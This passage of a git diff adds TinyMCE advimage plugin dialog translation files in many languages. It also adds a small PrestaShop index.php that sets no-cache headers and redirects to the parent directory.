\u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",map:"\u03a7\u03ac\u03c1\u03c4\u03b7\u03c2 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",id:"Id",rtl:"\u0394\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",ltr:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",classes:"\u039a\u03bb\u03ac\u03c3\u03b5\u03b9\u03c2",style:"\u03a3\u03c4\u03c5\u03bb","long_desc":"\u03a3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03c2 \u03c0\u03bb\u03ae\u03c1\u03bf\u03c5\u03c2 \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae\u03c2",langcode:"\u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",langdir:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2","constrain_proportions":"\u0394\u03b9\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7 \u03b1\u03bd\u03b1\u03bb\u03bf\u03b3\u03af\u03b1\u03c2 \u03c0\u03bb. - \u03cd\u03c8\u03bf\u03c5\u03c2",preview:"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03c3\u03ba\u03cc\u03c0\u03b7\u03c3\u03b7",title:"\u03a4\u03af\u03c4\u03bb\u03bf\u03c2",general:"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac","tab_advanced":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2","tab_appearance":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7","tab_general":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/en_dlg.js b/js/tiny_mce/plugins/advimage/langs/en_dlg.js new file mode 100755 index 0000000..5f122e2 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.advimage_dlg',{"image_list":"Image List","align_right":"Right","align_left":"Left","align_textbottom":"Text Bottom","align_texttop":"Text Top","align_bottom":"Bottom","align_middle":"Middle","align_top":"Top","align_baseline":"Baseline",align:"Alignment",hspace:"Horizontal Space",vspace:"Vertical Space",dimensions:"Dimensions",border:"Border",list:"Image List",alt:"Image Description",src:"Image URL","dialog_title":"Insert/Edit Image","missing_alt":"Are you sure you want to continue without including an Image Description? Without it the image may not be accessible to some users with disabilities, or to those using a text browser, or browsing the Web with images turned off.","example_img":"Appearance Preview Image",misc:"Miscellaneous",mouseout:"For Mouse Out",mouseover:"For Mouse Over","alt_image":"Alternative Image","swap_image":"Swap Image",map:"Image Map",id:"ID",rtl:"Right to Left",ltr:"Left to Right",classes:"Classes",style:"Style","long_desc":"Long Description Link",langcode:"Language Code",langdir:"Language Direction","constrain_proportions":"Constrain Proportions",preview:"Preview",title:"Title",general:"General","tab_advanced":"Advanced","tab_appearance":"Appearance","tab_general":"General",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/es_dlg.js b/js/tiny_mce/plugins/advimage/langs/es_dlg.js new file mode 100755 index 0000000..6b6a513 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.advimage_dlg',{"image_list":"Lista de imagen","align_right":"Derecha","align_left":"Izquierda","align_textbottom":"Texto abajo","align_texttop":"Texto arriba","align_bottom":"Debajo","align_middle":"Medio","align_top":"Arriba","align_baseline":"L\u00ednea base",align:"Alineaci\u00f3n",hspace:"Espacio horizontal",vspace:"Espacio vertical",dimensions:"Dimensiones",border:"Bordes",list:"Lista de imagen",alt:"Descripci\u00f3n de la imagen",src:"URL de la imagen","dialog_title":"Insertar/editar imagen","missing_alt":" \u00bfEsta seguro de continuar sin introducir una descripci\u00f3n a la imagen? Sin ella puede no ser accesible para usuarios con discapacidades, o para aquellos que usen navegadores de modo texto, o tengan deshabilitadas las im\u00e1genes de la p\u00e1gina.","example_img":"Vista previa de la imagen",misc:"Miscel\u00e1neo",mouseout:"para mouseout",mouseover:"para mouseover","alt_image":"Imagen alternativa","swap_image":"Intercambiar imagen",map:"Mapa de imagen",id:"Id",rtl:"Derecha a izquierda",ltr:"Izquierda a derecha",classes:"Clases",style:"Estilos","long_desc":"V\u00ednculo para descripci\u00f3n larga",langcode:"C\u00f3digo del lenguaje",langdir:"Direcci\u00f3n del lenguaje","constrain_proportions":"Bloquear relaci\u00f3n de aspecto",preview:"Vista previa",title:"T\u00edtulo",general:"General","tab_advanced":"Avanzado","tab_appearance":"Apariencia","tab_general":"General",width:"Ancho",height:"Alto"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/et_dlg.js b/js/tiny_mce/plugins/advimage/langs/et_dlg.js new file mode 100755 index 0000000..0b2e774 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.advimage_dlg',{"image_list":"Piltide nimekiri","align_right":"Paremal","align_left":"Vasakul","align_textbottom":"Tekst all","align_texttop":"Tekst \u00fcleval","align_bottom":"All","align_middle":"Keskel","align_top":"\u00dcleval","align_baseline":"Baas",align:"Joondus",hspace:"Horisontaalne vahe",vspace:"Vertikaalne vahe",dimensions:"M\u00f5\u00f5tmed",border:"Raam",list:"Piltide nimekiri",alt:"Pildi kirjeldus",src:"Pildi URL","dialog_title":"Sisesta/muuda pilti","missing_alt":"Oled kindel, et soovid j\u00e4tkata pildile kirjeldust lisamata?","example_img":"Eelvaate pildi v\u00e4limus",misc:"Mitmesugune",mouseout:"\u201eKursor maas\u201c",mouseover:"\u201eKursor peal\u201c","alt_image":"Alternatiivne pilt","swap_image":"Vaheta pilti",map:"Pildi kaart",id:"ID",rtl:"Paremalt vasakule",ltr:"Vasakult paremale",classes:"Klassid",style:"Stiil","long_desc":"Pikk kirjelduse link",langcode:"Keele kood",langdir:"Keele suund","constrain_proportions":"Piira proportioone",preview:"Eelvaade",title:"Pealkiri",general:"\u00dcldine","tab_advanced":"P\u00f5hjalikum","tab_appearance":"V\u00e4limus","tab_general":"\u00dcldine",width:"Laius",height:"K\u00f5rgus"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/fa_dlg.js b/js/tiny_mce/plugins/advimage/langs/fa_dlg.js new file mode 100755 index 0000000..8e5b5b3 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.advimage_dlg',{"image_list":"\u0644\u06cc\u0633\u062a \u062a\u0635\u0648\u06cc\u0631","align_right":"\u0631\u0627\u0633\u062a","align_left":"\u0686\u067e","align_textbottom":"\u0645\u062a\u0646 \u067e\u0627\u06cc\u06cc\u0646","align_texttop":"\u0645\u062a\u0646 \u0628\u0627\u0644\u0627","align_bottom":"\u067e\u0627\u06cc\u06cc\u0646","align_middle":"\u0648\u0633\u0637","align_top":"\u0628\u0627\u0644\u0627","align_baseline":"\u062e\u0637 \u067e\u0627\u06cc\u0647",align:"\u062a\u0631\u0627\u0632",hspace:"\u0641\u0627\u0635\u0644\u0647 \u0627\u0641\u0642\u06cc",vspace:"\u0641\u0627\u0635\u0644\u0647 \u0639\u0645\u0648\u062f\u06cc",dimensions:"\u0627\u0628\u0639\u0627\u062f",border:"\u062d\u0627\u0634\u06cc\u0647",list:"\u0644\u06cc\u0633\u062a \u062a\u0635\u0648\u06cc\u0631",alt:"\u062a\u0648\u0636\u06cc\u062d \u062a\u0635\u0648\u06cc\u0631",src:"\u0622\u062f\u0631\u0633 \u062a\u0635\u0648\u06cc\u0631 (URL)","dialog_title":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u062a\u0635\u0648\u06cc\u0631","missing_alt":"\u0622\u06cc\u0627 \u0634\u0645\u0627 \u0627\u0632 \u0627\u062f\u0627\u0645\u0647 \u0628\u062f\u0648\u0646 \u0634\u0627\u0645\u0644 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u062a\u0648\u0636\u06cc\u062d \u0628\u0631\u0627\u06cc \u062a\u0635\u0648\u06cc\u0631 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062f\u0627\u0631\u06cc\u062f\u061f \u0628\u062f\u0648\u0646 \u0622\u0646 \u0645\u0645\u06a9\u0646 \u0646\u06cc\u0633\u062a \u062a\u0635\u0627\u0648\u06cc\u0631 \u0628\u0631\u0627\u06cc \u0628\u0631\u062e\u06cc \u06a9\u0627\u0631\u0628\u0631\u0627\u0646\u06cc \u06a9\u0647 \u0642\u0627\u0628\u0644\u06cc\u062a \u062f\u06cc\u062f\u0646 \u062a\u0635\u0627\u0648\u06cc\u0631 \u0631\u0627 \u0646\u062f\u0627\u0631\u0646\u062f \u060c \u06cc\u0627 \u0622\u0646\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0645\u0631\u0648\u0631\u06af\u0631 \u0645\u062a\u0646\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u0646\u062f \u060c \u06cc\u0627 \u062f\u0631 \u062d\u0627\u0644 \u062f\u06cc\u062f\u0646 \u0648\u0628 \u0628\u062f\u0648\u0646 \u062a\u0635\u0648\u06cc\u0631 \u0645\u06cc \u0628\u0627\u0634\u0646\u062f \u060c \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u06cc\u0627\u0628\u06cc \u0628\u0627\u0634\u062f.","example_img":"\u062a\u0635\u0648\u06cc\u0631 \u067e\u06cc\u0634 \u0646\u0645\u0627\u06cc\u0634 \u0638\u0627\u0647\u0631",misc:"\u0645\u062a\u0641\u0631\u0642\u0647",mouseout:"\u0628\u0631\u0627\u06cc \u0631\u0641\u062a\u0646 \u0645\u0648\u0633",mouseover:"\u0628\u0631\u0627\u06cc \u0622\u0645\u062f\u0646 \u0645\u0648\u0633","alt_image":"\u062a\u0635\u0648\u06cc\u0631 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646","swap_image":"\u062a\u0639\u0648\u06cc\u0636 \u062a\u0635\u0648\u06cc\u0631",map:"\u0646\u0642\u0634\u0647 \u062a\u0635\u0648\u06cc\u0631",id:"\u0634\u0646\u0627\u0633\u0647",rtl:"\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e",ltr:"\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",classes:"\u06a9\u0644\u0627\u0633 \u0647\u0627",style:"\u0627\u0633\u062a\u06cc\u0644","long_desc":"\u0644\u06cc\u0646\u06a9 \u062a\u0648\u0636\u06cc\u062d \u0637\u0648\u0644\u0627\u0646\u06cc",langcode:"\u06a9\u062f \u0632\u0628\u0627\u0646",langdir:"\u062c\u0647\u062a \u0632\u0628\u0627\u0646","constrain_proportions":"\u062d\u0641\u0638 \u062a\u0646\u0627\u0633\u0628",preview:"\u067e\u06cc\u0634 \u0646\u0645\u0627\u06cc\u0634",title:"\u0639\u0646\u0648\u0627\u0646",general:"\u0639\u0645\u0648\u0645\u06cc","tab_advanced":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647","tab_appearance":"\u0638\u0627\u0647\u0631","tab_general":"\u0639\u0645\u0648\u0645\u06cc",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/fi_dlg.js b/js/tiny_mce/plugins/advimage/langs/fi_dlg.js new file mode 100755 index 0000000..f85c1ec --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.advimage_dlg',{"image_list":"Kuvalista","align_right":"Oikealla","align_left":"Vasemmalla","align_textbottom":"Teksti alhaalla","align_texttop":"Teksti ylh\u00e4\u00e4ll\u00e4","align_bottom":"Alhaalla","align_middle":"Keskell\u00e4","align_top":"Ylh\u00e4\u00e4ll\u00e4","align_baseline":"Rivill\u00e4",align:"Tasaus",hspace:"vaakasuora tila",vspace:"pystysuora tila",dimensions:"Mitat",border:"Kehys",list:"Kuvalista",alt:"Kuvan kuvaus",src:"Kuvan URL","dialog_title":"Lis\u00e4\u00e4/muokkaa kuvaa","missing_alt":"Haluatko varmasti jatkaa lis\u00e4\u00e4m\u00e4tt\u00e4 kuvausta? Kuvauksen puuttuminen saattaa h\u00e4irit\u00e4 sellaisia, jotka k\u00e4ytt\u00e4v\u00e4t tekstipohjaista selainta tai ovat kytkeneet kuvien n\u00e4kymisen pois p\u00e4\u00e4lt\u00e4.","example_img":"Ulkoasun esikatselukuva",misc:"Sekalaiset",mouseout:"mouseoutille",mouseover:"mouseoverille","alt_image":"Vaihtoehtoinen kuva","swap_image":"Vaihda kuva",map:"Kuvakartta",id:"Id",rtl:"Oikealta vasemmalle",ltr:"Vasemmalta oikealle",classes:"Luokat",style:"Tyyli","long_desc":"Pitk\u00e4n kuvauksen linkki",langcode:"Kielen koodi",langdir:"Kielen suunta","constrain_proportions":"S\u00e4ilyt\u00e4 mittasuhteet",preview:"Esikatselu",title:"Otsikko",general:"Yleiset","tab_advanced":"Edistynyt","tab_appearance":"N\u00e4kyminen","tab_general":"Yleiset",width:"Leveys",height:"Korkeus"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/fr_dlg.js b/js/tiny_mce/plugins/advimage/langs/fr_dlg.js new file mode 100755 index 0000000..1479bf1 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.advimage_dlg',{"image_list":"Liste d\'images","align_right":"Droite (flottant)","align_left":"Gauche (flottant)","align_textbottom":"Texte en bas","align_texttop":"Texte en haut","align_bottom":"En bas","align_middle":"Au milieu","align_top":"En haut","align_baseline":"Normal",align:"Alignement",hspace:"Espacement horizontal",vspace:"Espacement vertical",dimensions:"Dimensions",border:"Bordure",list:"Liste d\'images",alt:"Description de l\'image",src:"URL de l\'image","dialog_title":"Ins\u00e9rer / \u00e9diter une image","missing_alt":"\u00cates-vous s\u00fbr de vouloir continuer sans d\u00e9finir de description pour l\'image ? Sans elle, l\'image peut ne pas \u00eatre accessible \u00e0 certains utilisateurs handicap\u00e9s, ceux utilisant un navigateur texte ou ceux qui naviguent sans affichage des images.","example_img":"Apparence de l\'image",misc:"Divers",mouseout:"\u00e0 la sortie de la souris",mouseover:"au survol de la souris","alt_image":"Image alternative","swap_image":"Image de remplacement",map:"Image cliquable",id:"Id",rtl:"De droite \u00e0 gauche",ltr:"De gauche \u00e0 droite",classes:"Classes",style:"Style","long_desc":"Description longue du lien",langcode:"Code de la langue",langdir:"Sens de lecture","constrain_proportions":"Conserver les proportions",preview:"Pr\u00e9visualisation",title:"Titre",general:"G\u00e9n\u00e9ral","tab_advanced":"Avanc\u00e9","tab_appearance":"Apparence","tab_general":"G\u00e9n\u00e9ral",width:"Largeur",height:"Hauteur"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/gl_dlg.js b/js/tiny_mce/plugins/advimage/langs/gl_dlg.js new file mode 100755 index 0000000..aeac4bd --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advimage_dlg',{"image_list":"Lista de imaxes","align_right":"Dereita","align_left":"Esquerda","align_textbottom":"Texto abaixo","align_texttop":"Texto arriba","align_bottom":"Abaixo","align_middle":"Medio","align_top":"Arriba","align_baseline":"Li\u00f1a base",align:"Ali\u00f1amento",hspace:"Espacio horizontal",vspace:"Espacio vertical",dimensions:"Dimensi\u00f3ns",border:"Bordes",list:"Lista de imaxes",alt:"Descripci\u00f3n da imaxe",src:"URL da imaxe","dialog_title":"Insertar/editar imaxe","missing_alt":"\u00bfEsta seguro de continuar sen introducir unha descripci\u00f3n \u00e1 imaxe? Sen ela pode non ser accesible pra usuarios con discapacidades, ou pra aqueles que usen navegadores de modo texto, ou te\u00f1an deshabilitadas as imaxes da p\u00e1xina.","example_img":"Vista previa da imaxe",misc:"Miscel\u00e1neo",mouseout:"pra mouseout",mouseover:"pra mouseover","alt_image":"Imaxe alternativa","swap_image":"Intercambiar imaxe",map:"Mapa de imaxe",id:"Id",rtl:"Dereita a esquerda",ltr:"Esquerda a dereita",classes:"Clases",style:"Estilos","long_desc":"V\u00ednculo pra descripci\u00f3n larga",langcode:"C\u00f3digo do idioma",langdir:"Direcci\u00f3n do idioma","constrain_proportions":"Bloquear proporci\u00f3ns",preview:"Vista previa",title:"T\u00edtulo",general:"Xeral","tab_advanced":"Avanzado","tab_appearance":"Apariencia","tab_general":"Xeral",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/he_dlg.js b/js/tiny_mce/plugins/advimage/langs/he_dlg.js new file mode 100755 index 0000000..fb3ea2a --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advimage_dlg',{"image_list":"\u05e8\u05e9\u05d9\u05de\u05ea \u05ea\u05de\u05d5\u05e0\u05d5\u05ea","align_right":"\u05dc\u05d9\u05de\u05d9\u05df","align_left":"\u05dc\u05e9\u05de\u05d0\u05dc","align_textbottom":"\u05d8\u05e7\u05e1\u05d8 \u05ea\u05d7\u05ea\u05d5\u05df","align_texttop":"\u05d8\u05e7\u05e1\u05d8 \u05e2\u05dc\u05d9\u05d5\u05df","align_bottom":"\u05ea\u05d7\u05ea\u05d9\u05ea","align_middle":"\u05d0\u05de\u05e6\u05e2","align_top":"\u05e2\u05dc\u05d9\u05d5\u05df","align_baseline":"\u05e7\u05d5 \u05d1\u05e1\u05d9\u05e1\u05d9",align:"\u05d9\u05e9\u05d5\u05e8",hspace:"\u05e7\u05d5 \u05d0\u05d5\u05e4\u05e7\u05d9",vspace:"\u05e7\u05d5 \u05d0\u05e0\u05db\u05d9",dimensions:"\u05de\u05d9\u05de\u05d3\u05d9\u05dd",border:"\u05d2\u05d1\u05d5\u05dc",list:"\u05e8\u05e9\u05d9\u05de\u05ea \u05ea\u05de\u05d5\u05e0\u05d5\u05ea",alt:"\u05ea\u05d9\u05d0\u05d5\u05e8 \u05d4\u05ea\u05de\u05d5\u05e0\u05d4",src:"URL \u05e9\u05dc \u05d4\u05ea\u05de\u05d5\u05e0\u05d4","dialog_title":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05ea\u05de\u05d5\u05e0\u05d4","missing_alt":"\u05dc\u05d4\u05de\u05e9\u05d9\u05da \u05de\u05d1\u05dc\u05d9 \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05ea\u05d9\u05d0\u05d5\u05e8 \u05dc\u05ea\u05de\u05d5\u05e0\u05d4?","example_img":"\u05ea\u05e6\u05d5\u05d2\u05d4 \u05de\u05e7\u05d3\u05d9\u05de\u05d4 \u05e9\u05dc \u05d4\u05ea\u05de\u05d5\u05e0\u05d4",misc:"\u05e9\u05d5\u05e0\u05d5\u05ea",mouseout:"\u05d4\u05e1\u05de\u05df \u05e2\u05d1\u05e8 \u05d0\u05ea \u05d4\u05ea\u05de\u05d5\u05e0\u05d4",mouseover:"\u05d1\u05e2\u05ea \u05de\u05e2\u05d1\u05e8 \u05d4\u05e1\u05de\u05df \u05e2\u05dc \u05d4\u05ea\u05de\u05d5\u05e0\u05d4","alt_image":"\u05ea\u05de\u05d5\u05e0\u05d4 \u05d7\u05dc\u05d9\u05e4\u05d9\u05ea","swap_image":"\u05d4\u05d7\u05dc\u05e4\u05ea \u05ea\u05de\u05d5\u05e0\u05d4",map:"Image map",id:"Id",rtl:"\u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc",ltr:"\u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df",classes:"Classes",style:"\u05e1\u05d2\u05e0\u05d5\u05df","long_desc":"\u05ea\u05d9\u05d0\u05d5\u05e8 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d0\u05e8\u05d5\u05da",langcode:"\u05e7\u05d5\u05d3 \u05d4\u05e9\u05e4\u05d4",langdir:"\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e9\u05e4\u05d4","constrain_proportions":"\u05e9\u05de\u05d9\u05e8\u05d4 \u05e2\u05dc \u05e4\u05e8\u05d5\u05e4\u05d5\u05e8\u05e6\u05d9\u05d5\u05ea",preview:"\u05ea\u05e6\u05d5\u05d2\u05d4 \u05de\u05e7\u05d3\u05d9\u05de\u05d4",title:"\u05db\u05d5\u05ea\u05e8\u05ea",general:"\u05db\u05dc\u05dc\u05d9","tab_advanced":"\u05de\u05ea\u05e7\u05d3\u05dd","tab_appearance":"\u05de\u05e8\u05d0\u05d4","tab_general":"\u05db\u05dc\u05dc\u05d9",width:"\u05e8\u05d5\u05d7\u05d1",height:"\u05d2\u05d5\u05d1\u05d4"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/hu_dlg.js b/js/tiny_mce/plugins/advimage/langs/hu_dlg.js new file mode 100755 index 0000000..d692d27 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advimage_dlg',{"image_list":"K\u00e9plista","align_right":"Jobbra","align_left":"Balra","align_textbottom":"Sz\u00f6veg alj\u00e1hoz","align_texttop":"Sz\u00f6veg tetej\u00e9hez","align_bottom":"Lentre","align_middle":"K\u00f6z\u00e9pre","align_top":"Fentre","align_baseline":"Alapvonalhoz",align:"Igaz\u00edt\u00e1s",hspace:"V\u00edzszintes t\u00e1vols\u00e1g",vspace:"F\u00fcgg\u0151leges t\u00e1vols\u00e1g",dimensions:"M\u00e9retek",border:"Keret",list:"K\u00e9plista",alt:"K\u00e9p helyettes\u00edt\u0151 sz\u00f6vege",src:"K\u00e9p internet c\u00edme","dialog_title":"K\u00e9p besz\u00far\u00e1sa/szerkeszt\u00e9se","missing_alt":"Biztosan folytatja helyettes\u00edt\u0151 sz\u00f6veg n\u00e9lk\u00fcl? En\u00e9lk\u00fcl a korl\u00e1toz\u00e1ssal \u00e9l\u0151k, sz\u00f6veges b\u00f6ng\u00e9sz\u0151t haszn\u00e1l\u00f3k \u00e9s a k\u00e9pek megjelen\u00edt\u00e9s\u00e9t letilt\u00f3 felhaszn\u00e1l\u00f3k h\u00e1tr\u00e1nyban lesznek.","example_img":"El\u0151n\u00e9zeti k\u00e9p",misc:"Vegyes",mouseout:"K\u00e9p az eg\u00e9rkurzor lev\u00e9telekor",mouseover:"K\u00e9p az eg\u00e9rkurzor f\u00f6l\u00e9vitelekor","alt_image":"Alternat\u00edv k\u00e9p","swap_image":"K\u00e9pcsere",map:"K\u00e9p t\u00e9rk\u00e9p",id:"Id",rtl:"Jobbr\u00f3l balra",ltr:"Balr\u00f3l jobbra",classes:"Oszt\u00e1lyok",style:"CSS St\u00edlus","long_desc":"B\u0151vebb le\u00edr\u00e1s link",langcode:"Nyelv k\u00f3d",langdir:"Nyelv \u00edr\u00e1s ir\u00e1ny","constrain_proportions":"Ar\u00e1nytart\u00e1s",preview:"El\u0151n\u00e9zet",title:"C\u00edm",general:"\u00c1ltal\u00e1nos","tab_advanced":"Halad\u00f3","tab_appearance":"Megjelen\u00e9s","tab_general":"\u00c1ltal\u00e1nos",width:"Sz\u00e9less\u00e9g",height:"Magass\u00e1g"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/id_dlg.js b/js/tiny_mce/plugins/advimage/langs/id_dlg.js new file mode 100755 index 0000000..e7bc7c6 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advimage_dlg',{"image_list":"Daftar Gambar","align_right":"Right","align_left":"Left","align_textbottom":"Text bottom","align_texttop":"Text top","align_bottom":"Bottom","align_middle":"Middle","align_top":"Top","align_baseline":"Baseline",align:"Alignment",hspace:"Horizontal space",vspace:"Vertical space",dimensions:"Dimensi",border:"Border",list:"Daftar Gambar",alt:"Deskripsi Gambar",src:"URL Gambar","dialog_title":"sisipkan/Ubah Gambar","missing_alt":"Yakin ingin melanjutkan tanpa menyertakan deskripsi gambar? Gambar mungkin tidak dapat diakses oleh beberapa pengguna yang yang memiliki keterbatasan, atau mereka yang menggunakan modus teks browser, atau berselancar di Web dengan gambar dimatikan.","example_img":"Gambar pra-tampil",misc:"Rupa-rupa",mouseout:"untuk mouse out",mouseover:"untuk mouse over","alt_image":"Alternatif gambar","swap_image":"Swap image",map:"Image map",id:"Id",rtl:"Kanan ke kiri",ltr:"Kiri ke kanan",classes:"Classes",style:"Style","long_desc":"Deskripsi panjang link",langcode:"Kode bahasa",langdir:"Bahasa","constrain_proportions":"Proporsi dibatasi",preview:"Preview",title:"Judul",general:"Umun","tab_advanced":"Advanced","tab_appearance":"Tampilan","tab_general":"Umum",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/index.php b/js/tiny_mce/plugins/advimage/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advimage/langs/it_dlg.js b/js/tiny_mce/plugins/advimage/langs/it_dlg.js new file mode 100755 index 0000000..9195c96 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.advimage_dlg',{"image_list":"Lista immagini","align_right":"A destra","align_left":"A sinistra","align_textbottom":"In basso al testo","align_texttop":"In alto al testo","align_bottom":"In basso","align_middle":"In mezzo","align_top":"In alto","align_baseline":"Alla base",align:"Allineamento",hspace:"Spaziatura orizzontale",vspace:"Spaziatura verticale",dimensions:"Dimensioni",border:"Bordo",list:"Lista immagini",alt:"Descrizione immagine",src:"URL immagine","dialog_title":"Inserisci/modifica immagine","missing_alt":"Sicuro di continuare senza includere una descrizione dell\'immagine? Senza di essa l\'immagine pu\u00f2 non essere accessibile ad alcuni utenti con disabilit\u00e0, o per coloro che usano un browser testuale oppure che hanno disabilitato la visualizzazione delle immagini nel loro browser.","example_img":"Anteprima aspetto immagine",misc:"Impostazioni varie",mouseout:"quando mouse fuori",mouseover:"quando mouse sopra","alt_image":"Immagine alternativa","swap_image":"Sostituisci immagine",map:"Immagine come mappa",id:"Id",rtl:"Destra verso sinistraa",ltr:"Sinistra verso destra",classes:"Classe",style:"Stile","long_desc":"Descrizione del collegamento",langcode:"codice lingua",langdir:"Direzione testo","constrain_proportions":"Mantieni proporzioni",preview:"Anteprima",title:"Titolo",general:"Generale","tab_advanced":"Avanzate","tab_appearance":"Aspetto","tab_general":"Generale",width:"Larghezza",height:"Altezza"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/ja_dlg.js b/js/tiny_mce/plugins/advimage/langs/ja_dlg.js new file mode 100755 index 0000000..f8449c4 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.advimage_dlg',{"image_list":"\u753b\u50cf\u306e\u4e00\u89a7","align_right":"\u53f3\u5bc4\u305b","align_left":"\u5de6\u5bc4\u305b","align_textbottom":"\u30c6\u30ad\u30b9\u30c8\u3092\u4e0b\u7aef\u63c3\u3048","align_texttop":"\u30c6\u30ad\u30b9\u30c8\u3092\u4e0a\u7aef\u63c3\u3048","align_bottom":"\u4e0b\u63c3\u3048","align_middle":"\u4e2d\u592e\u63c3\u3048","align_top":"\u4e0a\u63c3\u3048","align_baseline":"\u30d9\u30fc\u30b9\u30e9\u30a4\u30f3\u63c3\u3048",align:"\u914d\u7f6e",hspace:"\u5de6\u53f3\u306e\u4f59\u767d",vspace:"\u4e0a\u4e0b\u306e\u4f59\u767d",dimensions:"\u5bf8\u6cd5",border:"\u67a0\u7dda",list:"\u753b\u50cf\u306e\u4e00\u89a7",alt:"\u753b\u50cf\u306e\u8aac\u660e",src:"\u753b\u50cf\u306eURL","dialog_title":"\u753b\u50cf\u3092\u633f\u5165/\u7de8\u96c6","missing_alt":"\u753b\u50cf\u306e\u8aac\u660e\u3092\u542b\u3081\u305a\u306b\u7d9a\u3051\u307e\u3059\u304b? 